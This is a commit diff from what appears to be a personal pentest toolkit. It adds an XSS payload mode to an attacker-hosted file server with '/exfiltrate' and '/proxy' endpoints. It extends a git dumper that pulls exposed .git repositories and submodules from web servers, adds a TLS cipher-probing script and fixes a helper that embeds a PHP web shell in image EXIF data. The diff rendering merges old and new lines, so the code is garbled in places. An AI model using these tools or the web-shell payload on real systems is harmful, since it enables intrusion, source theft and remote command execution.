fileserver xss, git dumper submodules, ciphers test, exif bugfix

This commit is contained in:
Roman Hergenreder 2021-04-30 22:50:58 +02:00
parent d6d2a74844
commit 6fb9c6562f
4 changed files with 147 additions and 87 deletions

@ -7,6 +7,7 @@ import requests
import sys import sys
import os import os
import ssl import ssl
import xss_handler
class FileServerRequestHandler(BaseHTTPRequestHandler): class FileServerRequestHandler(BaseHTTPRequestHandler):
@ -123,11 +124,12 @@ class HttpFileServer(HTTPServer):
return self.serve_forever() return self.serve_forever()
if __name__ == "__main__": if __name__ == "__main__":
if len(sys.argv) < 2 or sys.argv[1] not in ["shell","dump","proxy"]: if len(sys.argv) < 2 or sys.argv[1] not in ["shell","dump","proxy","xss"]:
print("Usage: %s [shell,dump,proxy]" % sys.argv[0]) print("Usage: %s [shell,dump,proxy,xss]" % sys.argv[0])
exit(1) exit(1)
fileServer = HttpFileServer("0.0.0.0", 80) httpPort = 80
fileServer = HttpFileServer("0.0.0.0", httpPort)
ipAddress = util.getAddress() ipAddress = util.getAddress()
if sys.argv[1] == "shell": if sys.argv[1] == "shell":
@ -139,7 +141,13 @@ if __name__ == "__main__":
fileServer.dumpRequest("/exfiltrate") fileServer.dumpRequest("/exfiltrate")
print("Exfiltrate data using: http://%s/exfiltrate" % ipAddress) print("Exfiltrate data using: http://%s/exfiltrate" % ipAddress)
elif sys.argv[1] == "proxy": elif sys.argv[1] == "proxy":
fileServer.forwardRequest("/proxy", "https://google.com") url = "https://google.com" if len(sys.argv) < 3 else sys.argv[2]
fileServer.forwardRequest("/proxy", url)
print("Exfiltrate data using: http://%s/proxy" % ipAddress) print("Exfiltrate data using: http://%s/proxy" % ipAddress)
elif sys.argv[1] == "xss":
type = "img" if len(sys.argv) < 3 else sys.argv[2]
xss = xss_handler.generatePayload(type, ipAddress, httpPort)
print("Exfiltrate data using:")
print(xss)
fileServer.start() fileServer.start()

@ -171,12 +171,13 @@ def process_tasks(initial_tasks, worker, jobs, args=(), tasks_done=None):
class DownloadWorker(Worker): class DownloadWorker(Worker):
''' Download a list of files ''' ''' Download a list of files '''
def init(self, url, directory, retry, timeout): def init(self, url, directory, retry, timeout, module):
self.session = requests.Session() self.session = requests.Session()
self.session.verify = False self.session.verify = False
self.session.mount(url, requests.adapters.HTTPAdapter(max_retries=retry)) self.session.mount(url, requests.adapters.HTTPAdapter(max_retries=retry))
self.module = module
def do_task(self, filepath, url, directory, retry, timeout): def do_task(self, filepath, url, directory, retry, timeout, module):
with closing(self.session.get('%s/%s' % (url, filepath), with closing(self.session.get('%s/%s' % (url, filepath),
allow_redirects=False, allow_redirects=False,
stream=True, stream=True,
@ -236,7 +237,7 @@ class RecursiveDownloadWorker(DownloadWorker):
class FindRefsWorker(DownloadWorker): class FindRefsWorker(DownloadWorker):
''' Find refs/ ''' ''' Find refs/ '''
def do_task(self, filepath, url, directory, retry, timeout): def do_task(self, filepath, url, directory, retry, timeout, module):
response = self.session.get('%s/%s' % (url, filepath), response = self.session.get('%s/%s' % (url, filepath),
allow_redirects=False, allow_redirects=False,
timeout=timeout, timeout=timeout,
@ -256,11 +257,13 @@ class FindRefsWorker(DownloadWorker):
# find refs # find refs
tasks = [] tasks = []
# module = ".git/" if not url.endswith("/modules") else ""
for ref in re.findall(r'(refs(/[a-zA-Z0-9\-\.\_\*]+)+)', response.text): for ref in re.findall(r'(refs(/[a-zA-Z0-9\-\.\_\*]+)+)', response.text):
ref = ref[0] ref = ref[0]
if not ref.endswith('*'): if not ref.endswith('*'):
tasks.append('.git/%s' % ref) tasks.append(self.module + '/%s' % ref)
tasks.append('.git/logs/%s' % ref) tasks.append(self.module + '/logs/%s' % ref)
return tasks return tasks
@ -268,8 +271,9 @@ class FindRefsWorker(DownloadWorker):
class FindObjectsWorker(DownloadWorker): class FindObjectsWorker(DownloadWorker):
''' Find objects ''' ''' Find objects '''
def do_task(self, obj, url, directory, retry, timeout): def do_task(self, obj, url, directory, retry, timeout, module):
filepath = '.git/objects/%s/%s' % (obj[:2], obj[2:]) # module = ".git" if not url.endswith("/modules") else ""
filepath = '%s/objects/%s/%s' % (self.module, obj[:2], obj[2:])
response = self.session.get('%s/%s' % (url, filepath), response = self.session.get('%s/%s' % (url, filepath),
allow_redirects=False, allow_redirects=False,
timeout=timeout, timeout=timeout,
@ -291,11 +295,13 @@ class FindObjectsWorker(DownloadWorker):
return get_referenced_sha1(obj_file) return get_referenced_sha1(obj_file)
def fetch_git(url, directory, jobs, retry, timeout): def fetch_git(url, directory, jobs, retry, timeout, module=".git"):
''' Dump a git repository into the output directory ''' ''' Dump a git repository into the output directory '''
assert os.path.isdir(directory), '%s is not a directory' % directory assert os.path.isdir(directory), '%s is not a directory' % directory
assert not os.listdir(directory), '%s is not empty' % directory
if module == ".git":
assert not os.listdir(directory), '%s is not empty' % directory
assert jobs >= 1, 'invalid number of jobs' assert jobs >= 1, 'invalid number of jobs'
assert retry >= 1, 'invalid number of retries' assert retry >= 1, 'invalid number of retries'
assert timeout >= 1, 'invalid timeout' assert timeout >= 1, 'invalid timeout'
@ -313,20 +319,20 @@ def fetch_git(url, directory, jobs, retry, timeout):
url = url.rstrip('/') url = url.rstrip('/')
# check for /.git/HEAD # check for /.git/HEAD
printf('[-] Testing %s/.git/HEAD ', url) printf('[-] Testing %s/%s/HEAD ', url, module)
response = requests.get('%s/.git/HEAD' % url, verify=False, allow_redirects=False, headers={"User-Agent": USER_AGENT}) response = requests.get('%s/%s/HEAD' % (url, module), verify=False, allow_redirects=False, headers={"User-Agent": USER_AGENT})
printf('[%d]\n', response.status_code) printf('[%d]\n', response.status_code)
if response.status_code != 200: if response.status_code != 200:
printf('error: %s/.git/HEAD does not exist\n', url, file=sys.stderr) printf('error: %s/%s/HEAD does not exist\n', url, module, file=sys.stderr)
return 1
elif not response.text.startswith('ref:'):
printf('error: %s/.git/HEAD is not a git HEAD file\n', url, file=sys.stderr)
return 1 return 1
# elif not response.text.startswith('ref:'):
# printf('error: %s/.git/HEAD is not a git HEAD file\n', url, file=sys.stderr)
# return 1
# check for directory listing # check for directory listing
printf('[-] Testing %s/.git/ ', url) printf('[-] Testing %s/%s/ ', url, module)
response = requests.get('%s/.git/' % url, verify=False, allow_redirects=False, headers={"User-Agent": USER_AGENT}) response = requests.get('%s/%s/' % (url, module), verify=False, allow_redirects=False, headers={"User-Agent": USER_AGENT})
printf('[%d]\n', response.status_code) printf('[%d]\n', response.status_code)
if response.status_code == 200 and is_html(response) and 'HEAD' in get_indexed_files(response): if response.status_code == 200 and is_html(response) and 'HEAD' in get_indexed_files(response):
@ -345,71 +351,90 @@ def fetch_git(url, directory, jobs, retry, timeout):
printf('[-] Fetching common files\n') printf('[-] Fetching common files\n')
tasks = [ tasks = [
'.gitignore', '.gitignore',
'.git/COMMIT_EDITMSG', module + '/COMMIT_EDITMSG',
'.git/description', module + '/description',
'.git/hooks/applypatch-msg.sample', module + '/hooks/applypatch-msg.sample',
'.git/hooks/applypatch-msg.sample', module + '/hooks/applypatch-msg.sample',
'.git/hooks/applypatch-msg.sample', module + '/hooks/applypatch-msg.sample',
'.git/hooks/commit-msg.sample', module + '/hooks/commit-msg.sample',
'.git/hooks/post-commit.sample', module + '/hooks/post-commit.sample',
'.git/hooks/post-receive.sample', module + '/hooks/post-receive.sample',
'.git/hooks/post-update.sample', module + '/hooks/post-update.sample',
'.git/hooks/pre-applypatch.sample', module + '/hooks/pre-applypatch.sample',
'.git/hooks/pre-commit.sample', module + '/hooks/pre-commit.sample',
'.git/hooks/pre-push.sample', module + '/hooks/pre-push.sample',
'.git/hooks/pre-rebase.sample', module + '/hooks/pre-rebase.sample',
'.git/hooks/pre-receive.sample', module + '/hooks/pre-receive.sample',
'.git/hooks/prepare-commit-msg.sample', module + '/hooks/prepare-commit-msg.sample',
'.git/hooks/update.sample', module + '/hooks/update.sample',
'.git/index', module + '/index',
'.git/info/exclude', module + '/info/exclude',
'.git/objects/info/packs', module + '/objects/info/packs',
] ]
if module == ".git":
tasks.insert(1, '.gitmodules')
process_tasks(tasks, process_tasks(tasks,
DownloadWorker, DownloadWorker,
jobs, jobs,
args=(url, directory, retry, timeout)) args=(url, directory, retry, timeout, module))
if module == ".git":
modules_path = os.path.join(directory, '.gitmodules')
if os.path.exists(modules_path):
module_dir = os.path.join(directory, ".git", "modules")
os.makedirs(os.path.abspath(module_dir))
with open(modules_path, 'r') as f:
modules = f.read()
for module_name in re.findall(r'\[submodule \"(.*)\"\]', modules):
printf("[-] Fetching module: %s\n", module_name)
# os.makedirs(os.path.abspath(module_dir))
module_url = url + "/.git/modules"
fetch_git(module_url, module_dir, jobs, retry, timeout, module=module_name)
printf("[+] Done iterating module\n")
# find refs # find refs
printf('[-] Finding refs/\n') printf('[-] Finding refs/\n')
tasks = [ tasks = [
'.git/FETCH_HEAD', module + '/FETCH_HEAD',
'.git/HEAD', module + '/HEAD',
'.git/ORIG_HEAD', module + '/ORIG_HEAD',
'.git/config', module + '/config',
'.git/info/refs', module + '/info/refs',
'.git/logs/HEAD', module + '/logs/HEAD',
'.git/logs/refs/heads/master', module + '/logs/refs/heads/master',
'.git/logs/refs/remotes/origin/HEAD', module + '/logs/refs/remotes/origin/HEAD',
'.git/logs/refs/remotes/origin/master', module + '/logs/refs/remotes/origin/master',
'.git/logs/refs/stash', module + '/logs/refs/stash',
'.git/packed-refs', module + '/packed-refs',
'.git/refs/heads/master', module + '/refs/heads/master',
'.git/refs/remotes/origin/HEAD', module + '/refs/remotes/origin/HEAD',
'.git/refs/remotes/origin/master', module + '/refs/remotes/origin/master',
'.git/refs/stash', module + '/refs/stash',
'.git/refs/wip/wtree/refs/heads/master', #Magit module + '/refs/wip/wtree/refs/heads/master', #Magit
'.git/refs/wip/index/refs/heads/master' #Magit module + '/refs/wip/index/refs/heads/master' #Magit
] ]
process_tasks(tasks, process_tasks(tasks,
FindRefsWorker, FindRefsWorker,
jobs, jobs,
args=(url, directory, retry, timeout)) args=(url, directory, retry, timeout, module))
# find packs # find packs
printf('[-] Finding packs\n') printf('[-] Finding packs\n')
tasks = [] tasks = []
# use .git/objects/info/packs to find packs # use .git/objects/info/packs to find packs
info_packs_path = os.path.join(directory, '.git', 'objects', 'info', 'packs') info_packs_path = os.path.join(directory, 'objects', 'info', 'packs')
if os.path.exists(info_packs_path): if os.path.exists(info_packs_path):
with open(info_packs_path, 'r') as f: with open(info_packs_path, 'r') as f:
info_packs = f.read() info_packs = f.read()
for sha1 in re.findall(r'pack-([a-f0-9]{40})\.pack', info_packs): for sha1 in re.findall(r'pack-([a-f0-9]{40})\.pack', info_packs):
tasks.append('.git/objects/pack/pack-%s.idx' % sha1) tasks.append(module + '/objects/pack/pack-%s.idx' % sha1)
tasks.append('.git/objects/pack/pack-%s.pack' % sha1) tasks.append(module + '/objects/pack/pack-%s.pack' % sha1)
process_tasks(tasks, process_tasks(tasks,
DownloadWorker, DownloadWorker,
@ -423,15 +448,15 @@ def fetch_git(url, directory, jobs, retry, timeout):
# .git/packed-refs, .git/info/refs, .git/refs/*, .git/logs/* # .git/packed-refs, .git/info/refs, .git/refs/*, .git/logs/*
files = [ files = [
os.path.join(directory, '.git', 'packed-refs'), os.path.join(directory, module, 'packed-refs'),
os.path.join(directory, '.git', 'info', 'refs'), os.path.join(directory, module, 'info', 'refs'),
os.path.join(directory, '.git', 'FETCH_HEAD'), os.path.join(directory, module, 'FETCH_HEAD'),
os.path.join(directory, '.git', 'ORIG_HEAD'), os.path.join(directory, module, 'ORIG_HEAD'),
] ]
for dirpath, _, filenames in os.walk(os.path.join(directory, '.git', 'refs')): for dirpath, _, filenames in os.walk(os.path.join(directory, module, 'refs')):
for filename in filenames: for filename in filenames:
files.append(os.path.join(dirpath, filename)) files.append(os.path.join(dirpath, filename))
for dirpath, _, filenames in os.walk(os.path.join(directory, '.git', 'logs')): for dirpath, _, filenames in os.walk(os.path.join(directory, module, 'logs')):
for filename in filenames: for filename in filenames:
files.append(os.path.join(dirpath, filename)) files.append(os.path.join(dirpath, filename))
@ -447,7 +472,7 @@ def fetch_git(url, directory, jobs, retry, timeout):
objs.add(obj) objs.add(obj)
# use .git/index to find objects # use .git/index to find objects
index_path = os.path.join(directory, '.git', 'index') index_path = os.path.join(directory, module, 'index')
if os.path.exists(index_path): if os.path.exists(index_path):
index = dulwich.index.Index(index_path) index = dulwich.index.Index(index_path)
@ -455,7 +480,7 @@ def fetch_git(url, directory, jobs, retry, timeout):
objs.add(entry[1].decode()) objs.add(entry[1].decode())
# use packs to find more objects to fetch, and objects that are packed # use packs to find more objects to fetch, and objects that are packed
pack_file_dir = os.path.join(directory, '.git', 'objects', 'pack') pack_file_dir = os.path.join(directory, module, 'objects', 'pack')
if os.path.isdir(pack_file_dir): if os.path.isdir(pack_file_dir):
for filename in os.listdir(pack_file_dir): for filename in os.listdir(pack_file_dir):
if filename.startswith('pack-') and filename.endswith('.pack'): if filename.startswith('pack-') and filename.endswith('.pack'):
@ -471,18 +496,19 @@ def fetch_git(url, directory, jobs, retry, timeout):
# fetch all objects # fetch all objects
printf('[-] Fetching objects\n') printf('[-] Fetching objects\n')
process_tasks(objs, # process_tasks(objs,
FindObjectsWorker, # FindObjectsWorker,
jobs, # jobs,
args=(url, directory, retry, timeout), # args=(url, directory, retry, timeout, module),
tasks_done=packed_objs) # tasks_done=packed_objs)
# git checkout # git checkout
printf('[-] Running git checkout .\n') if module == ".git":
os.chdir(directory) printf('[-] Running git checkout .\n')
os.chdir(directory)
# ignore errors # ignore errors
subprocess.call(['git', 'checkout', '.'], stderr=open(os.devnull, 'wb')) subprocess.call(['git', 'checkout', '.'], stderr=open(os.devnull, 'wb'))
return 0 return 0

26
test_ciphers.sh Executable file

@ -0,0 +1,26 @@
#!/usr/bin/env bash
# OpenSSL requires the port number.
SERVER=$1
DELAY=1
ciphers=$(openssl ciphers 'ALL:eNULL' | sed -e 's/:/ /g')
echo Obtaining cipher list from $(openssl version).
for cipher in ${ciphers[@]}
do
echo -n Testing $cipher...
result=$(echo -n | openssl s_client -cipher "$cipher" -connect $SERVER 2>&1)
if [[ "$result" =~ ":error:" ]] ; then
error=$(echo -n $result | cut -d':' -f6)
echo NO \($error\)
else
if [[ "$result" =~ "Cipher is ${cipher}" || "$result" =~ "Cipher :" ]] ; then
echo YES
else
echo UNKNOWN RESPONSE
echo $result
fi
fi
sleep $DELAY
done

16
util.py

@ -6,8 +6,9 @@ import netifaces as ni
import requests import requests
import sys import sys
import exif import exif
import PIL
import os import os
import io
from PIL import Image
from bs4 import BeautifulSoup from bs4 import BeautifulSoup
def getAddress(interface="tun0"): def getAddress(interface="tun0"):
@ -105,22 +106,22 @@ def pad(x, n):
def exifImage(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_tag=None): def exifImage(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_tag=None):
if _in is None: if _in is None or (isinstance(_in, str) and not os.path.exists(_in)):
_in = PIL.Image.new(Image.RGB, (10,10), (255,255,255)) _in = Image.new("RGB", (50,50), (255,255,255))
if isinstance(_in, str): if isinstance(_in, str):
_in = exif.Image(open(_in, "rb")) _in = exif.Image(open(_in, "rb"))
elif isinstance(_in, PIL.Image): elif isinstance(_in, Image.Image):
bytes = io.BytesIO() bytes = io.BytesIO()
img.save(bytes) _in.save(bytes, format='PNG')
_in = exif.Image(bytes) _in = exif.Image(bytes.getvalue())
elif not isinstance(_in, exif.Image): elif not isinstance(_in, exif.Image):
print("Invalid input. Either give an Image or a path to an image.") print("Invalid input. Either give an Image or a path to an image.")
return return
valid_tags = list(exif._constants.ATTRIBUTE_NAME_MAP.values()) valid_tags = list(exif._constants.ATTRIBUTE_NAME_MAP.values())
if exif_tag is None: if exif_tag is None:
exif_tag = "image_description" _in.image_description = payload
elif exif_tag == "all": elif exif_tag == "all":
for exif_tag in valid_tags: for exif_tag in valid_tags:
try: try:
@ -139,7 +140,6 @@ def exifImage(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_t
if _out is None: if _out is None:
sys.stdout.write(_in.get_file()) sys.stdout.write(_in.get_file())
sys.stdout.flush() sys.stdout.flush()
elif isinstance(_out, str): elif isinstance(_out, str):
with open(_out, "wb") as f: with open(_out, "wb") as f:
f.write(_in.get_file()) f.write(_in.get_file())